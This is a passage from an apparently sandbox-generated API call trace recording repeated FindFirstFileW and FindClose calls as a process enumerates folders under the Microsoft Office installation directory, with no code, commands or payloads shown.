| out: hFindFile=0x1c5bf0d0) returned 1 [0124.684] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\*.*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19c9f890, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d50260, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d50260, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.690] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.692] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19c9f890, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d50260, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d50260, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.693] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.695] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\*.*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdac58f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d50260, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d50260, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.697] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.699] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdac58f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d50260, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d50260, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.700] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.701] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\1033\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x138599d0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d50260, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d50260, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.703] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.703] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\1033\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x138599d0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d50260, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d50260, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.704] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.704] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\1036\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83d3b910, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d50260, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d50260, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.705] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.705] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\1036\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83d3b910, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d50260, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d50260, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.706] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.706] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\3082\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4986cbd0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d50260, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d50260, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.706] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.707] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\3082\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4986cbd0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xb5d50260, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d50260, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.707] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.707] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\*.*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f92a7f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x9dda61b0, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x9dda61b0, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.709] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.711] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f92a7f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x9dda61b0, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x9dda61b0, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.712] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.713] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\*.*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19d5df70, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x9e693430, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x9e693430, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.729] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.731] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19d5df70, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x9e693430, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x9e693430, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.733] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.734] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\QUERIES\\*.*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f92a7f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x5f92a7f0, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x5f92a7f0, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.735] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.735] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\QUERIES\\*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f92a7f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x5f92a7f0, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x5f92a7f0, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.736] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.736] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SAMPLES\\*.*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f92a7f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x93fcced0, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x93fcced0, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.737] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.737] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SAMPLES\\*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f92a7f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x93fcced0, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x93fcced0, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.737] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.737] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SkypeSrv\\*.*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5d50260, ftCreationTime.dwHighDateTime=0x1d337b0, ftLastAccessTime.dwLowDateTime=0xb5d763c0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d763c0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.740] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.741] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SkypeSrv\\*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5d50260, ftCreationTime.dwHighDateTime=0x1d337b0, ftLastAccessTime.dwLowDateTime=0xb5d763c0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5d763c0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.742] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.743] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\STARTUP\\*.*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f92a7f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x5f92a7f0, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x5f92a7f0, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.745] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.745] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\STARTUP\\*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f92a7f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x5f92a7f0, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x5f92a7f0, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.745] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.745] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\*.*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37215c40, ftCreationTime.dwHighDateTime=0x1d30617, ftLastAccessTime.dwLowDateTime=0xf2eb4b20, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0xf2eb4b20, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.751] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.751] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37215c40, ftCreationTime.dwHighDateTime=0x1d30617, ftLastAccessTime.dwLowDateTime=0xf2eb4b20, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0xf2eb4b20, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.752] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.752] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\*.*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37215c40, ftCreationTime.dwHighDateTime=0x1d30617, ftLastAccessTime.dwLowDateTime=0xb5e34aa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5e34aa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.910] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.915] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\*", lpFindFileData=0x1ed730 | out: lpFindFileData=0x1ed730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37215c40, ftCreationTime.dwHighDateTime=0x1d30617, ftLastAccessTime.dwLowDateTime=0xb5e34aa0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5e34aa0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.922] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.926] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLSTART\\*.*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f92a7f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x5f92a7f0, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x5f92a7f0, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.926] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.927] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLSTART\\*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f92a7f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x5f92a7f0, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x5f92a7f0, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.927] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.927] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\*.*", lpFindFileData=0x1ed890 | out: lpFindFileData=0x1ed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9bd5b30, ftCreationTime.dwHighDateTime=0x1d30211, ftLastAccessTime.dwLowDateTime=0xb5ea6ec0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5ea6ec0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.939] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.941] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\*", lpFindFileData=0x1ed890 | out: lpFindFileData=0x1ed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9bd5b30, ftCreationTime.dwHighDateTime=0x1d30211, ftLastAccessTime.dwLowDateTime=0xb5ea6ec0, ftLastAccessTime.dwHighDateTime=0x1d337b0, ftLastWriteTime.dwLowDateTime=0xb5ea6ec0, ftLastWriteTime.dwHighDateTime=0x1d337b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.942] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.944] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\*.*", lpFindFileData=0x1ed890 | out: lpFindFileData=0x1ed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fed1c30, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x93fcced0, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x93fcced0, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.944] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.945] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\*", lpFindFileData=0x1ed890 | out: lpFindFileData=0x1ed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fed1c30, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x93fcced0, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x93fcced0, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.945] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.945] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\*.*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93fcced0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x940d7870, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x940d7870, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.949] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.950] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93fcced0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0x940d7870, ftLastAccessTime.dwHighDateTime=0x1d30212, ftLastWriteTime.dwLowDateTime=0x940d7870, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.952] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.953] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\*.*", lpFindFileData=0x1ed890 | out: lpFindFileData=0x1ed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fed1c30, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xf300b780, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0xf300b780, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.953] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.953] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\*", lpFindFileData=0x1ed890 | out: lpFindFileData=0x1ed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fed1c30, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xf300b780, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0xf300b780, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.954] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.954] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\*.*", lpFindFileData=0x1ed7e0 | out: lpFindFileData=0x1ed7e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9403f2f0, ftCreationTime.dwHighDateTime=0x1d30212, ftLastAccessTime.dwLowDateTime=0xf30a3d00, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0xf30a3d00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0124.968] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0124.970] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft 